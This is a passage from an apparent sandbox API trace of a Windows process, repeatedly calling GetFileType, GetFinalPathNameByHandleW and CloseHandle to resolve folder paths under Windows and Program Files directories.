lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.145] CloseHandle (hObject=0x13c) returned 1 [0143.145] GetFileType (hFile=0x118) returned 0x1 [0143.145] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Synchronization Services") returned 0x37 [0143.146] CloseHandle (hObject=0x118) returned 1 [0143.146] GetFileType (hFile=0x13c) returned 0x1 [0143.146] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.147] CloseHandle (hObject=0x13c) returned 1 [0143.147] GetFileType (hFile=0x118) returned 0x1 [0143.147] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies") returned 0x2f [0143.147] CloseHandle (hObject=0x118) returned 1 [0143.147] GetFileType (hFile=0x13c) returned 0x1 [0143.147] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.148] CloseHandle (hObject=0x13c) returned 1 [0143.148] GetFileType (hFile=0x118) returned 0x1 [0143.148] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Media Player") returned 0x29 [0143.149] CloseHandle (hObject=0x118) returned 1 [0143.149] GetFileType (hFile=0x13c) returned 0x1 [0143.149] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.149] CloseHandle (hObject=0x13c) returned 1 [0143.149] GetFileType (hFile=0x118) returned 0x1 [0143.149] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Java") returned 0x1f [0143.150] CloseHandle (hObject=0x118) returned 1 [0143.150] GetFileType (hFile=0x13c) returned 0x1 [0143.150] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.151] CloseHandle (hObject=0x13c) returned 1 [0143.151] GetFileType (hFile=0x118) returned 0x1 [0143.151] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Defender") returned 0x25 [0143.151] CloseHandle (hObject=0x118) returned 1 [0143.151] GetFileType (hFile=0x13c) returned 0x1 [0143.152] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.152] CloseHandle (hObject=0x13c) returned 1 [0143.152] GetFileType (hFile=0x118) returned 0x1 [0143.152] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\DVD Maker") returned 0x1e [0143.153] CloseHandle (hObject=0x118) returned 1 [0143.153] GetFileType (hFile=0x13c) returned 0x1 [0143.153] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.153] CloseHandle (hObject=0x13c) returned 1 [0143.154] GetFileType (hFile=0x118) returned 0x1 [0143.154] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Journal") returned 0x24 [0143.154] CloseHandle (hObject=0x118) returned 1 [0143.154] GetFileType (hFile=0x13c) returned 0x1 [0143.154] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.155] CloseHandle (hObject=0x13c) returned 1 [0143.155] GetFileType (hFile=0x118) returned 0x1 [0143.155] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox") returned 0x2a [0143.155] CloseHandle (hObject=0x118) returned 1 [0143.155] GetFileType (hFile=0x13c) returned 0x1 [0143.155] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.156] CloseHandle (hObject=0x13c) returned 1 [0143.156] GetFileType (hFile=0x118) returned 0x1 [0143.156] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Synchronization Services") returned 0x37 [0143.157] CloseHandle (hObject=0x118) returned 1 [0143.157] GetFileType (hFile=0x13c) returned 0x1 [0143.157] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.158] CloseHandle (hObject=0x13c) returned 1 [0143.158] GetFileType (hFile=0x118) returned 0x1 [0143.158] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Common Files") returned 0x21 [0143.159] CloseHandle (hObject=0x118) returned 1 [0143.159] GetFileType (hFile=0x13c) returned 0x1 [0143.159] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.159] CloseHandle (hObject=0x13c) returned 1 [0143.160] GetFileType (hFile=0x118) returned 0x1 [0143.160] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Office") returned 0x2b [0143.160] CloseHandle (hObject=0x118) returned 1 [0143.160] GetFileType (hFile=0x13c) returned 0x1 [0143.160] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.161] CloseHandle (hObject=0x13c) returned 1 [0143.161] GetFileType (hFile=0x118) returned 0x1 [0143.161] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar") returned 0x2a [0143.161] CloseHandle (hObject=0x118) returned 1 [0143.161] GetFileType (hFile=0x13c) returned 0x1 [0143.161] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.162] CloseHandle (hObject=0x13c) returned 1 [0143.162] GetFileType (hFile=0x118) returned 0x1 [0143.162] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Reference Assemblies") returned 0x29 [0143.162] CloseHandle (hObject=0x118) returned 1 [0143.162] GetFileType (hFile=0x13c) returned 0x1 [0143.162] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.163] CloseHandle (hObject=0x13c) returned 1 [0143.163] GetFileType (hFile=0x118) returned 0x1 [0143.163] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Common Files") returned 0x21 [0143.163] CloseHandle (hObject=0x118) returned 1 [0143.164] GetFileType (hFile=0x13c) returned 0x1 [0143.164] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.164] CloseHandle (hObject=0x13c) returned 1 [0143.164] GetFileType (hFile=0x118) returned 0x1 [0143.164] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Mail") returned 0x27 [0143.165] CloseHandle (hObject=0x118) returned 1 [0143.165] GetFileType (hFile=0x13c) returned 0x1 [0143.165] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.166] CloseHandle (hObject=0x13c) returned 1 [0143.166] GetFileType (hFile=0x118) returned 0x1 [0143.166] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0143.167] CloseHandle (hObject=0x118) returned 1 [0143.167] GetFileType (hFile=0x13c) returned 0x1 [0143.167] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.167] CloseHandle (hObject=0x13c) returned 1 [0143.168] GetFileType (hFile=0x118) returned 0x1 [0143.168] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0143.168] CloseHandle (hObject=0x118) returned 1 [0143.168] GetFileType (hFile=0x13c) returned 0x1 [0143.168] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.169] CloseHandle (hObject=0x13c) returned 1 [0143.169] GetFileType (hFile=0x118) returned 0x1 [0143.169] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar") returned 0x2a [0143.169] CloseHandle (hObject=0x118) returned 1 [0143.169] GetFileType (hFile=0x13c) returned 0x1 [0143.169] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.170] CloseHandle (hObject=0x13c) returned 1 [0143.170] GetFileType (hFile=0x118) returned 0x1 [0143.170] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0143.170] CloseHandle (hObject=0x118) returned 1 [0143.170] GetFileType (hFile=0x13c) returned 0x1 [0143.170] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.171] CloseHandle (hObject=0x13c) returned 1 [0143.171] GetFileType (hFile=0x118) returned 0x1 [0143.171] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Maintenance Service") returned 0x36 [0143.171] CloseHandle (hObject=0x118) returned 1 [0143.171] GetFileType (hFile=0x13c) returned 0x1 [0143.171] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.172] CloseHandle (hObject=0x13c) returned 1 [0143.172] GetFileType (hFile=0x118) returned 0x1 [0143.172] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services") returned 0x36 [0143.172] CloseHandle (hObject=0x118) returned 1 [0143.172] GetFileType (hFile=0x13c) returned 0x1 [0143.172] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.173] CloseHandle (hObject=0x13c) returned 1 [0143.173] GetFileType (hFile=0x118) returned 0x1 [0143.173] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Media Player") returned 0x2f [0143.173] CloseHandle (hObject=0x118) returned 1 [0143.174] GetFileType (hFile=0x13c) returned 0x1 [0143.174] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.174] CloseHandle (hObject=0x13c) returned 1 [0143.174] GetFileType (hFile=0x118) returned 0x1 [0143.174] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Mail") returned 0x27 [0143.175] CloseHandle (hObject=0x118) returned 1 [0143.175] GetFileType (hFile=0x13c) returned 0x1 [0143.175] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.175] CloseHandle (hObject=0x13c) returned 1 [0143.175] GetFileType (hFile=0x118) returned 0x1 [0143.175] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Photo Viewer") returned 0x29 [0143.176] CloseHandle (hObject=0x118) returned 1 [0143.177] GetFileType (hFile=0x13c) returned 0x1 [0143.177] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.177] CloseHandle (hObject=0x13c) returned 1 [0143.177] GetFileType (hFile=0x118) returned 0x1 [0143.177] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0143.178] CloseHandle (hObject=0x118) returned 1 [0143.178] GetFileType (hFile=0x13c) returned 0x1 [0143.178] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.178] CloseHandle (hObject=0x13c) returned 1 [0143.178] GetFileType (hFile=0x118) returned 0x1 [0143.178] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Journal") returned 0x24 [0143.179] CloseHandle (hObject=0x118) returned 1 [0143.179] GetFileType (hFile=0x13c) returned 0x1 [0143.179] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.179] CloseHandle (hObject=0x13c) returned 1 [0143.179] GetFileType (hFile=0x118) returned 0x1 [0143.179] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0143.180] CloseHandle (hObject=0x118) returned 1 [0143.180] GetFileType (hFile=0x13c) returned 0x1 [0143.180] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.180] CloseHandle (hObject=0x13c) returned 1 [0143.180] GetFileType (hFile=0x118) returned 0x1 [0143.181] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Mail") returned 0x27 [0143.181] CloseHandle (hObject=0x118) returned 1 [0143.181] GetFileType (hFile=0x13c) returned 0x1 [0143.181] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.182] CloseHandle (hObject=0x13c) returned 1 [0143.182] GetFileType (hFile=0x118) returned 0x1 [0143.182] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows NT") returned 0x25 [0143.182] CloseHandle (hObject=0x118) returned 1 [0143.182] GetFileType (hFile=0x13c) returned 0x1 [0143.182] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.183] CloseHandle (hObject=0x13c) returned 1 [0143.183] GetFileType (hFile=0x118) returned 0x1 [0143.183] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Uninstall Information") returned 0x2a [0143.183] CloseHandle (hObject=0x118) returned 1 [0143.183] GetFileType (hFile=0x13c) returned 0x1 [0143.183] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.184] CloseHandle (hObject=0x13c) returned 1 [0143.184] GetFileType (hFile=0x118) returned 0x1 [0143.184] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Mail") returned 0x27 [0143.185] CloseHandle (hObject=0x118) returned 1 [0143.185] GetFileType (hFile=0x13c) returned 0x1 [0143.185] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.185] CloseHandle (hObject=0x13c) returned 1 [0143.185] GetFileType (hFile=0x118) returned 0x1 [0143.185] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0143.186] CloseHandle (hObject=0x118) returned 1 [0143.186] GetFileType (hFile=0x13c) returned 0x1 [0143.186] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.187] CloseHandle (hObject=0x13c) returned 1 [0143.187] GetFileType (hFile=0x118) returned 0x1 [0143.187] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0143.187] CloseHandle (hObject=0x118) returned 1 [0143.187] GetFileType (hFile=0x13c) returned 0x1 [0143.187] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.202] CloseHandle (hObject=0x13c) returned 1 [0143.202] GetFileType (hFile=0x118) returned 0x1 [0143.202] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies") returned 0x2f [0143.203] CloseHandle (hObject=0x118) returned 1 [0143.203] GetFileType (hFile=0x13c) returned 0x1 [0143.203] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.204] CloseHandle (hObject=0x13c) returned 1 [0143.204] GetFileType (hFile=0x118) returned 0x1 [0143.204] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Mail") returned 0x27 [0143.204] CloseHandle (hObject=0x118) returned 1 [0143.204] GetFileType (hFile=0x13c) returned 0x1 [0143.205] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.205] CloseHandle (hObject=0x13c) returned 1 [0143.205] GetFileType (hFile=0x118) returned 0x1 [0143.205] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Photo Viewer") returned 0x29 [0143.206] CloseHandle (hObject=0x118) returned 1 [0143.206] GetFileType (hFile=0x13c) returned 0x1 [0143.206] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.206] CloseHandle (hObject=0x13c) returned 1 [0143.206] GetFileType (hFile=0x118) returned 0x1 [0143.207] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0143.207] CloseHandle (hObject=0x118) returned 1 [0143.207] GetFileType (hFile=0x13c) returned 0x1 [0143.207] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.207] CloseHandle (hObject=0x13c) returned 1 [0143.208] GetFileType (hFile=0x118) returned 0x1 [0143.208] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Sync Framework") returned 0x2d [0143.208] CloseHandle (hObject=0x118) returned 1 [0143.208] GetFileType (hFile=0x13c) returned 0x1 [0143.208] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.209] CloseHandle (hObject=0x13c) returned 1 [0143.209] GetFileType (hFile=0x118) returned 0x1 [0143.209] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0143.209] CloseHandle (hObject=0x118) returned 1 [0143.209] GetFileType (hFile=0x13c) returned 0x1 [0143.209] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.210] CloseHandle (hObject=0x13c) returned 1 [0143.210] GetFileType (hFile=0x118) returned 0x1 [0143.210] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows NT") returned 0x1f [0143.210] CloseHandle (hObject=0x118) returned 1 [0143.210] GetFileType (hFile=0x13c) returned 0x1 [0143.210] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.211] CloseHandle (hObject=0x13c) returned 1 [0143.211] GetFileType (hFile=0x118) returned 0x1 [0143.211] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows NT") returned 0x25 [0143.211] CloseHandle (hObject=0x118) returned 1 [0143.212] GetFileType (hFile=0x13c) returned 0x1 [0143.212] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.212] CloseHandle (hObject=0x13c) returned 1 [0143.212] GetFileType (hFile=0x118) returned 0x1 [0143.212] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Java") returned 0x1f [0143.213] CloseHandle (hObject=0x118) returned 1 [0143.213] GetFileType (hFile=0x13c) returned 0x1 [0143.213] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.213] CloseHandle (hObject=0x13c) returned 1 [0143.213] GetFileType (hFile=0x118) returned 0x1 [0143.213] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\MSBuild") returned 0x22 [0143.214] CloseHandle (hObject=0x118) returned 1 [0143.214] GetFileType (hFile=0x13c) returned 0x1 [0143.214] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.214] CloseHandle (hObject=0x13c) returned 1 [0143.215] GetFileType (hFile=0x118) returned 0x1 [0143.215] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Java") returned 0x1f [0143.215] CloseHandle (hObject=0x118) returned 1 [0143.215] GetFileType (hFile=0x13c) returned 0x1 [0143.215] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.216] CloseHandle (hObject=0x13c) returned 1 [0143.216] GetFileType (hFile=0x118) returned 0x1 [0143.216] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\DVD Maker") returned 0x1e [0143.216] CloseHandle (hObject=0x118) returned 1 [0143.216] GetFileType (hFile=0x13c) returned 0x1 [0143.216] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.217] CloseHandle (hObject=0x13c) returned 1 [0143.217] GetFileType (hFile=0x118) returned 0x1 [0143.217] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0143.217] CloseHandle (hObject=0x118) returned 1 [0143.217] GetFileType (hFile=0x13c) returned 0x1 [0143.217] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0143.218] CloseHandle (hObject=0x13c) returned 1 [0143.218] GetFileType (hFile=0x118) returned 0x1 [0143.218] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\MSBuild") returned 0x22 [0143.218] CloseHandle (hObject=0x118) returned 1 [0143.218] GetFileType (hFile=0x13c) returned 0x1 [0143.218] GetFinalPathNameByHandleW (in: hFile=0x13c, lpszFilePath=0x290e830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 